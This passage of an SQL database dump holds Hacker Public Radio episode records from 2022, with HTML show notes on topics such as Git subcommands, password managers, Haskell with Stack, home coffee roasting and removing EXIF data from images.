target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-February/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3554,'2022-03-17','Guide to the Science and Technology Section of Bitchute',775,'Guide to some cool science and tech channels on Bitchute','<p>Forgot to mention this channel in the podcast<br />\r\n<a href=\"https://www.bitchute.com/channel/yourprivacytv/\" class=\"uri\">https://www.bitchute.com/channel/yourprivacytv/</a></p>\r\n<p>Cozytime<br />\r\n<a href=\"https://www.bitchute.com/channel/2mM8L9mZnvjt/\" class=\"uri\">https://www.bitchute.com/channel/2mM8L9mZnvjt/</a></p>\r\n<p>Grassroots Mechanic Movement<br />\r\n<a href=\"https://www.bitchute.com/channel/miGkQfBM24NZ/\" class=\"uri\">https://www.bitchute.com/channel/miGkQfBM24NZ/</a></p>\r\n<p>too lazy to add any more channels... make an account and you can browse and subscribe too.</p>\r\n',401,0,1,'CC-BY-SA','bitchute,videos,technology,science',0,0,1),
(3541,'2022-02-28','The case of missing ideas.',940,'With negotiation painful barely legible robotic voices will develop into beautiful expressive music ','<p>Just a mixed up overview of cases in the natural human languages of Russian and English types.</p>',398,0,1,'CC-BY-SA','language , cases , russian , grammar , ideas',0,0,1),
(3542,'2022-03-01','The Worst Car I Ever Had',651,'Beeza releases 30 years of frustration about a particularly dreadful car he once owned.','<p>Most of us who drive have probably owned a number of cars over the years. Some are inevitably better than others but there may be one which stands head and shoulders above the rest as the WORST car we\'ve ever owned.</p>\r\n<p>In this episode Beeza gets off his chest a tale of woe regarding a rogue car he had the misfortune to own in the mid 80s.</p>\r\n<p>Maybe other HPR listeners will care to tell their own horror stories in due course......</p>\r\n',246,0,0,'CC-BY-SA','Cars, automobiles',0,0,1),
(3544,'2022-03-03','All my microphones',655,'A show recording using every microphone I had to hand.','<p>I used the following microphones in roughly reverse order of my expectations of their quality:</p>\r\n<ul>\r\n<li><a href=\"https://www.bluemic.com/en-gb/products/yeti/\">Blue Yeti</a> via USB</li>\r\n<li>Plantronics headset via USB (no link as over 10 years old)</li>\r\n<li>Laptop (ASUS ZenBook UX550VD) internal mic</li>\r\n<li>Desktop mic on a Windows 10 PC via a jack plug (no link as over 10 years old)</li>\r\n<li>Phone (Samsung S9+) internal microphone</li>\r\n<li>Same phone but with <a href=\"https://www.willful.info/willful/products/earbuds/40.html\">T1 bluetooth earbuds</a></li>\r\n</ul>\r\n<p>All audio is mono. I used Audacity to record on my laptop at 44.1kHz. For the desktop mic I had to resort to using my son\'s desktop Windows 10 PC and Windows recording app which defaulted to 48kHz and I think it was the app rather than the mic that resulted in the surprisingly poor quality. It definitely sounds like some kind of noise gate is being applied but I didn\'t dig around to see what settings were available. For my phone\'s built-in mic I used Samsung\'s voice recording app which I presume came pre-installed on the phone. Recording via bluetooth on an android phone turned out to be tricky as the OS only wants you to use a bluetooth microphone for calls however I found an app called <a href=\"https://play.google.com/store/apps/details?id=com.wimlog.bluvoicerecorder&amp;hl=en_GB&amp;gl=US\">Bluetooth Headset Voice Recorder</a> and then enabled call audio on bluetooth and was able to record (the rubbish) audio.</p>\r\n<p>I edited this show in audacity and contrary to my normal practice I did <em>not</em> remove noise from any of the recordings so that you can hear any hiss in all its glory. I did however tweak the gain on each track manually so that they were about the same volume.</p>\r\n',268,0,1,'CC-BY-SA','audio,microphone,headset,Plantronics,ASUS ZenBook UX550VD',0,0,1),
(3548,'2022-03-09','Make a custom Git command',1177,'Make Git subcommands with shell scripts and Git rev-parse','<p>\r\nHow to make your own Git subcommands with shell scripts, and then how to pass arguments to them with git rev-parse. </p>\r\n\r\n<p>\r\nFor a real-world example of Git in scripts and hooks, see <a href=\"https://gitlab.com/slackermedia/git-portal\" target=\"_blank\">Git-portal</a>.</p>\r\n\r\n<p>The joke site Klaatu mentions in the episode is \r\n<a href=\"https://git-man-page-generator.lokaltog.net\" target=\"_blank\">git-man-page-generator</a>. It\'s a <strong>joke</strong> site. Do not attempt to run these commands. However, it could be fun inspiration on what Git command you could make next&#33;</p>\r\n',78,81,0,'CC-BY-SA','git',0,0,1),
(3547,'2022-03-08','Password Managers',811,'How I manage password security.','<h2 id=\"how-i-manage-password-security\">How I manage password security.</h2>\r\n<ol>\r\n<li><strong><a href=\"https://bitwarden.com/\">Bitwarden</a></strong></li>\r\n</ol>\r\n<ul>\r\n<li><a href=\"https://bitwarden.com/download/\">Bitwarden Download Options</a></li>\r\n<li><a href=\"https://bitwarden.com/compliance/\">Bitwarden Security and Compliance</a></li>\r\n</ul>\r\n<ol start=\"2\">\r\n<li><strong><a href=\"https://keepassxc.org/\">KeePassXC</a></strong></li>\r\n</ol>\r\n<ul>\r\n<li><a href=\"https://keepassxc.org/download/#linux\">KeePassXC Downloads</a></li>\r\n<li><a href=\"https://keepassxc.org/docs/KeePassXC_GettingStarted.html\">KeePassXC Documentations</a></li>\r\n</ul>\r\n<hr />\r\n<p><a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative Commons Attribution-ShareAlike 4.0 International License</a>.</p>\r\n',391,74,0,'CC-BY-SA','Password Managers, Online Security, Bitwarden, KeePassXC',0,0,1),
(3552,'2022-03-15','Unboxing a PineTime development kit',1684,'Rho`n talks about his new PineTime smart watch development kit','<h1>Synopsis</h1>\r\n\r\n<p>In this episode, Rho`n unboxes his new PineTime smart watch development kit, and gives his initial impressions. The development kit consists of two watches. One watch is fully assembled and ready for daily use. The other watch is disassembled, consisting of a watch band, the watch back cover, and the assembled display, system on a chip (SOC), CPU, and battery. The kit also comes with a serial cable for connecting from your computer to the SOC.</p>\r\n\r\n<p>The following are the photographs taken during the unboxing.</p>\r\n\r\n<style>\r\ndiv#figures {\r\n	display: flex;\r\n	flex-direction: row;\r\n	flex-wrap: wrap;\r\n	justify-content: center;\r\n}\r\ndiv#figures figcaption { max-width: 490px; }\r\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\r\n</style>\r\n\r\n<div id=\"figures\">\r\n<figure>\r\n	<a href=\"https://hackerpublicradio.org/eps/hpr3552/01.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/01-sm.png\"\r\n         alt=\"Box containing PrimeTime development kit beside PineTime Pogopin Jig\"></a>\r\n	<br>\r\n    <figcaption>Box containing PrimeTime development kit beside PineTime Pogopin Jig</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr3552/02.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/02-sm.png\"\r\n								   alt=\"Open box displaying watch faces\"></a>\r\n	<br>\r\n    <figcaption>Open box displaying watch faces</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr3552/03.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/03-sm.png\"\r\n								   alt=\"Contents of the development kit\"></a>\r\n	<br>\r\n    <figcaption>Contents of the development kit</figcaption>\r\n</figure>\r\n<figure>\r\n    <a href=\"https://hackerpublicradio.org/eps/hpr3552/04.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/04-sm.png\"\r\n								   alt=\"Assembled watch on a charger\"></a>\r\n	<br>\r\n    <figcaption>Assembled watch on a charger</figcaption>\r\n</figure>\r\n</div>\r\n\r\n<h1>References</h1>\r\n\r\n<ul>\r\n	<li>InfiniTime firmware - <a href=\"https://github.com/InfiniTimeOrg/InfiniTime\">https://github.com/InfiniTimeOrg/InfiniTime</a></li>\r\n	<li>PineTime watch - <a href=\"https://www.pine64.org/pinetime/\">https://www.pine64.org/pinetime/</a></li>\r\n	<li>PineTime development kit - <a href=\"https://pine64.com/product/pinetime-dev-kit/\">https://pine64.com/product/pinetime-dev-kit/</a></li>\r\n	<li>PineTime forum - <a href=\"https://forum.pine64.org/forumdisplay.php?fid=134\">https://forum.pine64.org/forumdisplay.php?fid=134</a></li>\r\n	<li>PineTime Pogopin Jig - <a href=\"https://pine64.com/product/pinetime-pogopin-jig/\">https://pine64.com/product/pinetime-pogopin-jig/</a></li>\r\n</ul>\r\n\r\n',293,0,0,'CC-BY-SA','pinetime, pine64, smart watch, InfiniTime',0,0,1),
(3551,'2022-03-14','Bash snippet - some possibly helpful hints',1475,'Using \'eval\', \'mapfile\' and environment variables','<h2 id=\"overview\">Overview</h2>\r\n<p>I write a moderate number of Bash scripts these days. Bash is not a programming language as such, but it’s quite powerful in what it can do by itself, and with other tools it’s capable of many things.</p>\r\n<p>I have enjoyed writing such scripts for many years on a variety of hardware and operating systems, and Bash is my favourite - partly because Linux itself is so flexible.</p>\r\n<p>This is just a short show describing three things I tend to do in Bash scripts to assist with some tasks I find I need to undertake.</p>\r\n<ol type=\"1\">\r\n<li>Generate Bash variables from a text file - usually output from a program</li>\r\n<li>Fill Bash arrays with data from a file or other source</li>\r\n<li>Use environment variables to control the Bash script’s execution</li>\r\n</ol>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3551/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Various links:\r\n<ul>\r\n<li><a href=\"https://unix.stackexchange.com/questions/23111/what-is-the-eval-command-in-bash\">What is the “eval” command in bash?</a></li>\r\n<li><a href=\"https://www.shell-tips.com/bash/arrays/\">A Complete Guide on How To Use Bash Arrays</a></li>\r\n<li><a href=\"https://www.computerhope.com/unix/bash/mapfile.htm\">Bash mapfile builtin command</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/html_node/Simple-Command-Expansion.html\">Bash manual 3.7.1 Simple Command Expansion</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous episodes in this series about arrays:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">Bash Tips - 16</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2719\">Bash Tips - 17</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2729\">Bash Tips - 18</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2739\">Bash Tips - 19</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2756\">Bash Tips - 20</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,eval,mapfile,environment variables',0,0,1),
(3559,'2022-03-24','Linux Inlaws S01E52: The Zig Project',4151,'An interview with Loris Cro of Zig Fame','<p>In this episode Martin and Chris have a very special guest: Loris Cro of\r\nZig fame. Zig fame?  Stay tuned. Not only is Loris an ex-colleague of our two\r\naging heroes, he is also the community vice president at the Zig Software\r\nFoundation. So this episode will be all about this new programming language,\r\nwhy you should use it (and perhaps why you shouldn\'t) and life, the universe\r\nand the rest. And Rust. Of course. :-) Full disclosure: In contrast to other\r\nepisodes, this one is really tech-heavy and may offend the less technical\r\nlisteners. Listen at your own discretion if you want to into the weeds of\r\nClang, LLVM, typing and cross-compilation - you have been warned. If this is\r\nup alley, you may want consider seeking professional help just in case :-).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Zig: <a href=\"https://ziglang.org\" target=_blank>https://ziglang.org</a></li>\r\n<li>Zig Foundation financial update: <a href=\"https://ziglang.org/news/financials-update\" target=_blank>https://ziglang.org/news/financials-update</a></li>\r\n<li>Clang / LLVM: <a href=\"https://clang.llvm.org\" target=_blank>https://clang.llvm.org</a></li>\r\n<li>Rust: <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Cargo: <a href=\"https://doc.rust-lang.org/cargo\" target=_blank>https://doc.rust-lang.org/cargo</a></li>\r\n<li>Mitchell\'s Tweet: <a href=\"https://twitter.com/mitchellh/status/1481441162871279618?s=20&t=OBGncJWN4B0N7mhflxlAbg\" target=_blank>https://twitter.com/mitchellh/status/1481441162871279618?s=20&t=OBGncJWN4B0N7mhflxlAbg</a></li>\r\n<li>501cs (only read this if you can\'t get to sleep!): <a href=\"https://en.wikipedia.org/wiki/501(c)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)_organization</a></li>\r\n<li>Miami Vice: <a href=\"https://www.imdb.com/title/tt0086759\" target=_blank>https://www.imdb.com/title/tt0086759</a></li>\r\n<li>Lord of the Rings Trilogy: <a href=\"https://www.imdb.com/list/ls072068350\" target=_blank>https://www.imdb.com/list/ls072068350</a></li>\r\n<li>Land of the Blind: <a href=\"https://www.imdb.com/title/tt0433405/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0433405/?ref_=fn_al_tt_1</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Zig, Zig Software Foundation, Rust, Money, Miami Vice, US Non-Profits',0,0,1),
(3553,'2022-03-16','Freedom of speech in open source',1432,'Is it free speech if you have to leave?','<ol>\r\n<li><strong><a href=\"https://constitution.congress.gov/constitution/\">First Amendment</a></strong> <em>(United States Constitution)</em>.<br />\r\nCongress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.</li>\r\n</ol>\r\n<hr />\r\n<ol start=\"2\">\r\n<li>Read arch users the riot act.</li>\r\n</ol>\r\n<ul>\r\n<li><p><strong><a href=\"https://librivox.org/\">LibriVox</a></strong></p>\r\n<ul>\r\n<li><a href=\"https://librivox.org/the-riot-act-by-british-parliament/\">LibriVox: The Riot Act Download</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Cw6RtudEPl8\">Youtube: The Riot Act by LibriVox</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Riot_Act\">Wikipedia</a></p>\r\n<ul>\r\n<li><a href=\"https://www.gutenberg.org/files/8142/8142-h/8142-h.htm\">Full text of the Riot Act</a></li>\r\n</ul></li>\r\n</ul>\r\n',391,69,1,'CC-BY-SA','Free Speech',0,0,1),
(3562,'2022-03-29','Creating a new project with Haskell and Stack',1230,'tuturto explains how to create a new haskell project and build it','<h1 id=\"stack\">Stack</h1>\r\n<p><a href=\"https://docs.haskellstack.org/en/stable/README/\">Stack</a> is a cross-platform program for developing Haskell projects. It features:</p>\r\n<ul>\r\n<li>Installing GHC automatically, in an isolated location.</li>\r\n<li>Installing packages needed for your project.</li>\r\n<li>Building your project.</li>\r\n<li>Testing your project.</li>\r\n<li>Benchmarking your project.</li>\r\n</ul>\r\n<p>Follow <a href=\"https://docs.haskellstack.org/en/stable/README/\">installation instructions</a> to get it installed in your system.</p>\r\n<h1 id=\"starting-a-new-project\">Starting a new project</h1>\r\n<p>Our game will be called Treasure Dungeon. After installing stack, we\'ll open a new terminal window, change into some suitable directory and use stack to create our project: <code>stack new treasure-dungeon rio</code>.</p>\r\n<p>This will create directory <code>treasure-dungeon</code> and initialize it by using <code>rio</code> template. <a href=\"https://hackage.haskell.org/package/rio\">rio</a> is a standard library that I have recently started using. There\'s a <a href=\"https://www.fpcomplete.com/haskell/library/rio/\">tutorial</a> available if you want to learn more about it. We\'ll cover only very basics while writing the game.</p>\r\n<h2 id=\"package.yaml\">package.yaml</h2>\r\n<p>Next step is to modify the project settings for the project that was created for us. Have a look at license file and change that to your liking. Then open up <code>package.yaml</code> and edit some of the metadata:</p>\r\n<ul>\r\n<li><code>git</code> this should point to your public repository</li>\r\n<li><code>license</code> this has machine readable info about the license terms</li>\r\n<li><code>author</code> here you should fill in your info</li>\r\n<li><code>maintainer</code> this is the person currently maintaining the package</li>\r\n<li><code>copyright</code> Copyright information</li>\r\n<li><code>executablebles</code> this section lists executable, you may want to edit the name</li>\r\n</ul>\r\n<p>I have a repository at <a href=\"https://codeberg.org/tuturto/treasure-dungeon\">codeberg</a> if you want to have a look what settings I ended up with.</p>\r\n<h2 id=\"stack.yaml\">stack.yaml</h2>\r\n<p>Having finished with <code>package.yaml</code>, save it and start editing <code>stack.yaml</code>. Here we change only one setting: - resolver: lts-18.27, this specifies which set of libraries to use. These are fetched from <a href=\"https://www.stackage.org/\">Stackage</a>.</p>\r\n<p>Final step is to edit <code>README.md</code> to suit your needs.</p>\r\n<h1 id=\"using-stack\">Using stack</h1>\r\n<p>Now we can work on our project. Lets start by building it: <code>stack build</code>. This will build the example code. There\'s one library and one executable there. If everything went correctly, we can start our executable with <code>stack exec -- treasure-dungeon</code>. This should print a little message on screen and exit. We can also turn on verbose logging, by starting the project with <code>stack exec -- treasure-dungeon --verbose 2&gt; log.txt</code>.</p>\r\n<p>Another useful command is <code>stack test</code>, which will compile and run tests for the project. There\'s couple simple ones as an example created by the template.</p>\r\n<p>And if you want to clean up your project of intermediate files and exes, you can use <code>stack clean</code>.</p>\r\n<h1 id=\"project-structure\">Project structure</h1>\r\n<p>Final thing before finishing, let\'s have a look at the project structure. There\'s three directories: <code>app</code>, <code>src</code> and <code>test</code>.</p>\r\n<p><code>app</code> contains code for our executable. This is where we will be placing big portion of the code, mainly one that deals with user interactions.</p>\r\n<p><code>src</code> contains code for our library. This is where we will be placing code that codifies rules of the game. We want to keep this part of the code oblivious about outside world, like screens, user input and such.</p>\r\n<p><code>test</code> this is where tests live. We aren\'t going to do much with them most likely.</p>\r\n<h1 id=\"in-closing\">In closing</h1>\r\n<p>We started our card game project. It doesn\'t do much yet, but we already have an executable that we can build and run. Next time we\'ll look into how to roll a new character and get them equipped before venturing into treasure dungeon.</p>\r\n<p>ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, programming, getting started',0,0,1),
(3555,'2022-03-18','PopKorn Episode 1: The Fallacy of the Unreasonable Effectiveness of Mathematics in the ETC',969,'BlacKernel tries talking off the cuff with mixed results','<h1>Talking Points</h1>\r\n<ul>\r\n	<li>The concept of PopKorn</li>\r\n	<li>The statement of \"The Unreasonable Effectiveness of Mathematics in the Natural Sciences\"</li>\r\n	<li>The Fine-structure Constant</li>\r\n	<li>The Axiom of Extentionality</li>\r\n	<li>Why proofs of God are crap</li>\r\n	<li>The \"First Mover\" argument of St. Thomas Aquinus</li>\r\n	<li>The Blind Watchmaker by Dawkins</li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h1>Show Notes</h1>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n	<li><a href=\"https://apps.kde.org/kwave/\">KWave</a></li>\r\n	<li><a href=\"https://freesound.org/people/Trollarch2/sounds/331656/\">Keyboard Typing - FreeSound.org</a></li>\r\n	<li><a href=\"https://rationalwiki.org/wiki/Non_sequitur\">Non-Sequitur Argument</a></li>\r\n	<li><a href=\"https://rationalwiki.org/wiki/Circular_reasoning\">Circular Reasoning</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/The_Unreasonable_Effectiveness_of_Mathematics_in_the_Natural_Sciences\">The Unreasonable Effectiveness of Mathematics in the Natural Sciences</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Fine-structure_constant\">Fine-structure Constant</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Axiom_of_extensionality\">Axiom of Extentionality</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Cosmological_argument\">\"First Mover\" or Cosmological Argument</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Watchmaker_analogy\">Watchmaker Analogy</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/The_Blind_Watchmaker\">The Blind Watchmaker by Dawkins</a></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,0,1,'CC-BY-SA','improv, math, popkorn, fallacy',0,0,1),
(3556,'2022-03-21','TTS for HPR',226,'Few voice samples to swap espeak TTS in HPR intro','<p>Used the <a href=\"https://github.com/synesthesiam/opentts\">opentts</a> Project with default settings. The voices you will hear in order:</p>\r\n<ul>\r\n<li>coqui_en_ljspeech</li>\r\n<li>larynx_northern_english_male</li>\r\n<li>larynx_southern_english_female</li>\r\n<li>larynx_scottish_english_male</li>\r\n<li>larynx_glados</li>\r\n</ul>\r\n<p>I found the gladOS voice funny, hence I included that one, but these are the best sounding to my knowledge so far.</p>\r\n<p>I have seen that with there will be a new mimic release version 3 soon, which has a really great voice. And example with the voice of Alan Pope <a href=\"https://www.youtube.com/watch?v=QZmf1jk86y0\">mycroft_demo</a>. And synesthesiam who\'s working on these projects said that there will be hopefully a model, which can be trained with actual voice, which would fine tune the voice to sounds more like someone else.</p>\r\n',402,0,0,'CC-BY-SA','tts, hpr',0,0,1),
(3563,'2022-03-30','Home Coffee Roasting, part 1',1123,'What it\'s like to roast coffee at home','<h2 id=\"links\">Links</h2>\r\n<p><a href=\"https://www.sweetmarias.com/guatemala-huehuetenango-boqueroncito-6846.html\">Example of a coffee page</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/green-coffee-outlook-march-2022-for-sweet-marias-and-coffee-shrub/\">Green coffee outlook for March</a></p>\r\n<p><a href=\"https://www.youtube.com/watch?v=r9xMarGcGp8\">A neat video of first crack</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/glossary/\">Coffee Glossary</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/good-reads-what-happened-to-zimbabwe-coffee/\">Article on Zimbabwe coffee</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/ethiopian-cini-coffee-cups-at-sweet-marias/\">Ethiopian Cini cups</a></p>\r\n<p>If I left anything out, let me know in the comments or email me.</p>\r\n<p>I think I mentioned in the show that I would put in the sound of first crack, but then it didn\'t work because the motor was too loud and you couldn\'t hear anything. Sorry.</p>\r\n<p>For part 2, see <a href=\"https://hackerpublicradio.org/eps.php?id=3573\">hpr3573</a></p>\r\n',399,88,0,'CC-BY-SA','coffee,\"coffee roasting\"',0,0,1),
(3573,'2022-04-13','Home Coffee Roasting, part 2',1230,'How I\'ve roasted and brewed coffee','<h2 id=\"roasting\">Roasting</h2>\r\n<p>Popcorn popper</p>\r\n<p>Stovepop</p>\r\n<p><a href=\"https://behmor.com/\">Behmor 2000AB Plus</a></p>\r\n<p><a href=\"https://www.roastmasters.com/sr700.html\">FreshRoast SR700</a> (has been discontinued, newer models are available but the 700 I think was the last one or the only one with USB control)</p>\r\n<p><a href=\"https://github.com/Roastero/Openroast\">Openroast</a></p>\r\n<h2 id=\"brewing\">Brewing</h2>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Moka_pot\">Moka pot</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/French_press\">French Press</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Brewed_coffee#/media/File:Kaffeefilter.jpg\">Pour Over</a></p>\r\n<p><a href=\"https://www.bruer.co/\">Bruer</a></p>\r\n<p><a href=\"https://flairespresso.com/\">Flair</a></p>\r\n<p><a href=\"https://aeropress.com/\">Aeropress</a></p>\r\n<hr />\r\n<p>If I left anything out, let me know in the comments or email me.</p>\r\n<p>For part 1, see <a href=\"https://hackerpublicradio.org/eps.php?id=3563\">hpr3563</a></p>\r\n',399,88,0,'CC-BY-SA','coffee,\"coffee roasting\"',0,0,1),
(3561,'2022-03-28','Employment security',410,'Phone system for the state of Illinois','<p>Going through the phone system for the state of Illinois in the United States.</p>\r\n<p>Feel free to record your experience with various states/countries.</p>\r\n',318,0,0,'CC-BY-SA','Phone call, IDES, Unemployment, Government, Firefox, Internet Explorer',0,0,1),
(3557,'2022-03-22','A short story about Lenovo and laptop batteries',580,'How Lenovo is spicing up the life of their user with strange challenges','<ul>\r\n<li><strong>kvalitetsdatorer.se</strong> <a href=\"https://www.kvalitetsdatorer.se/se/\" class=\"uri\">https://www.kvalitetsdatorer.se/se/</a> The company where I bought my refurbished Thinkpad T530</li>\r\n<li><strong>inxi -Bxxx</strong> Command to get full information about all batteries in the system. Even on devices connected to the computer, as my Sansa Clip+ f.ex.</li>\r\n<li><strong>Thinkpad X230 battery patch</strong> <a href=\"https://bystram.be/posts/thinkpad-x230-battery-ec-patch/\" class=\"uri\">https://bystram.be/posts/thinkpad-x230-battery-ec-patch/</a></li>\r\n<li><strong>batteriexperten.se</strong> <a href=\"https://www.batteriexperten.com/sv/\" class=\"uri\">https://www.batteriexperten.com/sv/</a></li>\r\n<li><strong>tpacpi-bat</strong> A Perl script with ACPI calls for recent ThinkPads (such as T420 and W520) whose battery thresholds are not supported by tp_smapi</li>\r\n</ul>\r\n',309,0,0,'CC-BY-SA','lenovo,batteries,BIOS,customer service',0,0,1),
(3558,'2022-03-23','How I\'m learning Haskell',1394,'tuturto talks about how she\'s learning Haskell','<p>Online resources mentioned in the episode for learning Haskell:</p>\r\n<ul>\r\n<li><a href=\"https://github.com/bitemyapp/learnhaskell\">How to Learn Haskell - Chris Allen</a></li>\r\n<li><a href=\"https://www.seas.upenn.edu/~cis194/spring13/lectures.html\">CIS 194 - Brent Yorgey</a></li>\r\n<li><a href=\"https://www.learnyouahaskell.com/\">Learn You a Haskell for Great Good!</a></li>\r\n<li><a href=\"https://github.com/LambdaHack/LambdaHack\">LambdaHack</a> is a framework for Roguelike games.</li>\r\n</ul>\r\n<p>Books about Haskell:</p>\r\n<ul>\r\n<li><a href=\"https://haskellbook.com/\">Haskell Programming from First Principles - Chris Allen</a></li>\r\n<li><a href=\"https://algebradriven.design/\">Algebra-Driven Design - Sandy Maguire</a></li>\r\n<li><a href=\"https://leanpub.com/optics-by-example\">Optics by Example - Chris Penner</a></li>\r\n<li><a href=\"https://leanpub.com/production-haskell\">Production Haskell</a></li>\r\n<li><a href=\"https://thinkingwithtypes.com/\">Thinking With Types: Type-Level Programming in Haskell - Sandy Maguire</a></li>\r\n<li><a href=\"https://dev.stephendiehl.com/hask/\">What I Wish I Knew When Learning Haskell - Stephen Diehl</a></li>\r\n</ul>\r\n<p>Blogs I follow:</p>\r\n<ul>\r\n<li><a href=\"https://planet.haskell.org/\">Planet Haskell</a></li>\r\n<li><a href=\"https://mmhaskell.com/blog/\">Monday Morning Haskell</a></li>\r\n<li><a href=\"https://lexi-lambda.github.io/\">Alexis King</a></li>\r\n</ul>\r\n<p>Important reminders:</p>\r\n<ul>\r\n<li>haskell isn\'t impossible</li>\r\n<li>you don\'t need math degree to write Haskell</li>\r\n<li>you don\'t need to know category theory</li>\r\n<li>you need practice, you most likely can\'t just stare at code and learn it like that</li>\r\n</ul>\r\n<p>ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, learning, programming, blogs, books',0,0,1),
(3564,'2022-03-31','Removing EXIF data from an image',745,'An image might reveal data you want to keep private','<h2 id=\"introduction\">Introduction</h2>\r\n<p>I’m writing a script to process image files sent in by HPR hosts with their shows. One of the things the script does is to strip <em>Exif</em> metadata from such images. That’s because this metadata may contain details that could identify the creator of the image - their camera, their location, and other things. Many people will be alert to this, but in case anything slips through it seems a courtesy to <em>anonymise</em> images sent to HPR.</p>\r\n<p>As I was implementing this I realised that one piece of Exif data: <code>\'Orientation\'</code>, can’t just be removed. Sometimes images are created with a particular orientation by the camera but are written with an Exif orientation setting that shows another orientation. If this is just removed the image might be shown wrongly.</p>\r\n<p>This short episode describes the journey I had learning about this issue and finding how to get round it.</p>\r\n<h2 id=\"the-problem\">The Problem</h2>\r\n<p>A show was sent in early March 2022 which had three images with orientation values in the Exif metadata. They had apparently been taken with one orientation but were being rotated for viewing.</p>\r\n<p>I later discovered that the orientation setting can be viewed with the <a href=\"https://www.exiftool.org/\" title=\"ExifTool by Phil Harvey\"><code>exiftool</code></a> command:</p>\r\n<pre><code>$ exiftool -orientation testimage.jpg\r\nOrientation                     : Rotate 90 CW</code></pre>\r\n<p>You can find information about the <code>Orientation</code> tag on the <a href=\"https://www.exiftool.org/TagNames/EXIF.html\" title=\"ExifTool: EXIF Tags\">ExifTool web site</a>.</p>\r\n<p>The actual image in this case is rotated 90° anti-clockwise (the top of the image is to the left) and this needs to be reversed. The setting <code>\'Rotate 90 CW\'</code> causes it to be displayed after rotating 90° in the clockwise direction. The actual value for this setting is <strong>6</strong>.</p>\r\n<p>The problem is that removing <u>all</u> the Exif data causes such an image to revert to its <em>raw</em> state as explained below.</p>\r\n<h2 id=\"investigation\">Investigation</h2>\r\n<h3 id=\"demonstration\">Demonstration</h3>\r\n<p>It took me a little while to understand this problem because I couldn’t find a good explanation of what was going on.</p>\r\n<p>I found a <a href=\"https://github.com/recurser/exif-orientation-examples\" title=\"EXIF Orientation-flag example images\">repository on GitHub</a> which would take a picture and generate all of the possible Exif orientations from it. I used it to generate pictures from one (a thumbnail) I used in an old HPR show. Here’s the original picture with an orientation setting of 6 (<code>Rotate 90 CW</code>), and then with the Exif metadata removed.</p>\r\n<p><em>Original image with orientation 6</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3564/P1020743_6_original_tn.JPG\" alt=\"Original image with orientation 6\" /></p>\r\n<p><em>Same image with Exif stripped</em><br />\r\n<img 